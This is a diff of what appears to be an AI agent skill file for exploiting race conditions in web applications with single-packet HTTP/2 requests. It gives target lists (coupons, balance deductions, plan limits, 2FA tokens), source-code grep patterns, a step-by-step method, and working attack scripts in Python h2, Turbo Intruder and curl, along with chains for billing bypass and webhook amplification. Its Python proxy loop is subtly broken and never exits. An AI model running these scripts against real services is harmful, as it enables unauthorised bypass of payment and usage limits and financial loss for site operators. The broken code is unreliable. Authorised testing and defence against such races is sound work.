git:20260529.8f6ea0e to git:20260703.fddb0c9

114 added, 28 removed. Audit A to A.

---
name: race-condition-single-packet
- description: Single-packet race conditions for exploiting multi-step flows via precise HTTP/2 request synchronization. Use when target has state-changing operations with limit checks, balance validation, or multi-step logic that may be vulnerable to concurrent execution.
+ description: Single-packet race conditions for exploiting multi-step flows via precise HTTP/2 request synchronization. Use when target has state-changing operations with limit checks, balance validation, or multi-step logic.
---
# Race Condition (Single-Packet Attack)
- ## Pattern
+ ## Targets
+
+ Count-gated limits are the highest-yield targets. Any check-then-act pattern where a count/balance/state is read in one query and modified in a separate query is vulnerable if there's no locking between them.
+
+ - Resource creation limits (groups, members, webhooks, tokens, schedules)
- Coupon/discount/promo code application (use-once logic)
- - Money transfers or balance deductions (insufficient funds check)
- - Vote/like/rating limits (count-based restrictions)
+ - Balance deductions (insufficient funds check)
+ - Vote/like/rating limits
- 2FA or email verification token validation
- Inventory/stock checks during purchase
- - Rate limit bypass on authentication endpoints
- ## Technique
+ ### Detection (Source Code)
- **HTTP/2 single-packet:**
- 1. Open one H2 connection to target
- 2. Prepare N requests (e.g. 20x "apply coupon") but withhold final DATA frames
- 3. Pause ~100ms to trigger Nagle's algorithm batching
- 4. Send all END_STREAM frames simultaneously in one TCP packet
- 5. All N requests arrive within ~1ms, defeating server-side locks
+ For Rails apps, grep for the anti-pattern:
```bash
- # Using Turbo Intruder (Burp extension) - single-packet mode:
- # In Turbo Intruder, select "race/single-packet-attack.py" template
- # Set request count to 20, configure the target request, and fire
+ # Count-gated validations without locking
+ grep -rn "validate.*on.*:create\|exceeded?\|count.*<.*limit\|offset.*exists" app/models/
+ grep -rn "enforce_.*limit\|limit_reached?\|quota_exceeded?\|seat_available?" app/
- # Using curl for quick H2 multiplexing test:
- seq 1 20 | xargs -P 20 -I{} curl --http2 -s -o /dev/null -w "req={} status=%{http_code}\n" \
- -X POST "https://target.com/api/apply-coupon" \
- -H "Cookie: session=TOKEN" \
- -d "code=PROMO123"
+ # Rails Limitable concern (systemic — all models using it are vulnerable)
+ grep -rn "include Limitable" app/models/
```
- **HTTP/1.1 last-byte sync** (when H2 not available):
- 1. Send N requests on N connections, withholding final byte of each
- 2. Send all final bytes simultaneously
- 3. Less precise (~4ms spread) but works without H2
+ For Django/Python apps:
- **Checkpoint:** After sending parallel requests, check the resource state (balance, coupon count, vote tally). If the operation applied N times instead of once, the race condition is confirmed.
+ ```bash
+ # Count checks before creation
+ grep -rn "\.count()\|\.filter(.*).exists()\|len(.*objects" --include="*.py"
+ grep -rn "if.*>=.*limit\|if.*>=.*max\|quota.*exceeded" --include="*.py"
+ ```
+ Red flags: `count >= LIMIT` in a validation method or pre-save hook with no database-level lock (`SELECT ... FOR UPDATE`, advisory lock, or mutex) in the same transaction.
+
+ ## Methodology
+
+ Six steps. Each one matters.
+
+ 1. **Find a count-gated limit** — docs, error messages, plan comparison pages, source code
+ 2. **Verify the limit enforced sequentially** — fill to limit, send one more, confirm the error
+ 3. **Reset to below the limit** — delete enough to create headroom for the race
+ 4. **Fire h2 single-packet** — all requests in one TCP write
+ 5. **Verify count exceeds limit** — the bypass
+ 6. **Confirm sequential still blocked** — proves the limit works but is raceable (TOCTOU, not broken feature)
+
+ Step 6 is what makes this a vulnerability report instead of a broken feature report.
+
+ ## Technique
+
+ ### Python h2 (production technique)
+
+ True single-packet delivery. Buffer all HTTP/2 HEADERS+DATA frames, flush in one `socket.send()`. This is what actually works against production servers behind CDNs and load balancers.
+
+ ```python
+ import ssl, socket, h2.connection, h2.config
+
+ def connect_h2_via_proxy(proxy_host, proxy_port, target_host):
+ """CONNECT tunnel through proxy, TLS+ALPN h2 to target."""
+ sock = socket.create_connection((proxy_host, proxy_port))
+ sock.sendall(f"CONNECT {target_host}:443 HTTP/1.1\r\nHost: {target_host}:443\r\n\r\n".encode())
+ while b"\r\n\r\n" not in (resp := b""): resp += sock.recv(4096) # noqa
+ ctx = ssl.create_default_context()
+ ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE
+ ctx.set_alpn_protocols(["h2"])
+ return ctx.wrap_socket(sock, server_hostname=target_host)
+
+ tls = connect_h2_via_proxy("127.0.0.1", 8080, "target.com")
+ conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True, header_encoding='utf-8'))
+ conn.initiate_connection()
+ tls.sendall(conn.data_to_send())
+ tls.recv(65535); conn.receive_data(tls.recv(65535)); tls.sendall(conn.data_to_send())
+
+ # Buffer ALL frames without sending
+ for i in range(N):
+ body = build_body(i)
+ sid = conn.get_next_available_stream_id()
+ conn.send_headers(sid, headers + [("content-length", str(len(body)))], end_stream=False)
+ conn.send_data(sid, body, end_stream=True)
+
+ # Single flush — all frames in one TCP segment
+ tls.sendall(conn.data_to_send())
+ ```
+
+ **Proxy compatibility:** Not all proxies negotiate h2 through CONNECT tunnels. If your proxy downgrades to HTTP/1.1, the frames will fail. Test with a proxy that supports h2 passthrough, or connect directly to the target for the race and replay through the proxy for evidence.
+
+ ### Turbo Intruder (Burp)
+
+ ```python
+ def queueRequests(target, wordlists):
+ engine = RequestEngine(endpoint=target.endpoint,
+ concurrentConnections=1, engine=Engine.HTTP2)
+ for i in range(20):
+ engine.queue(target.req, gate='race')
+ engine.openGate('race')
+
+ def handleResponse(req, interesting):
+ table.add(req)
+ ```
+
+ ### Burp Repeater
+
+ Send to Repeater, create group tab, duplicate with modified payloads, select "Send group (single packet)".
+
+ ### curl --parallel (HTTP/1.1 fallback)
+
+ Not true single-packet but creates contention. Useful when h2 is unavailable.
+
+ ```bash
+ curl --parallel --parallel-immediate --parallel-max 10 \
+ -K /tmp/race-0.cfg -K /tmp/race-1.cfg ... -K /tmp/race-9.cfg
+ ```
+
+ ## Verify
+
+ 1. **Compare state before/after** — count must exceed the documented limit
+ 2. **Sequential request must fail** — proves limit enforcement exists but was bypassed
+ 3. **Log evidence at each step** — use `X-PoC-Step: N-description` headers for proxy history correlation
+
## Indicators
- - Resource consumed N times from N parallel requests (coupon applied twice)
- - Balance decremented below zero or multiple times in one operation
- - Limit bypassed (N+1 votes, multiple password attempts)
+ - Resource count exceeds documented plan limit
+ - N-1 of N parallel requests succeed (one gets the lock contention, rest bypass)
+ - 500 errors during race (transaction conflicts) indicate the window exists even if bypass doesn't succeed — increase concurrency
+ - Sequential requests blocked post-race confirms TOCTOU (not a missing limit)
## Chain With
- orm-filter-data-leak (race-accelerated boolean oracle extraction)
+ - Billing bypass (member seats, paid plan features)
+ - CI minute exhaustion (pipeline schedule races)
+ - Event amplification (webhook races — every project event duplicated to attacker)
## Reference
https://portswigger.net/research/smashing-the-state-machine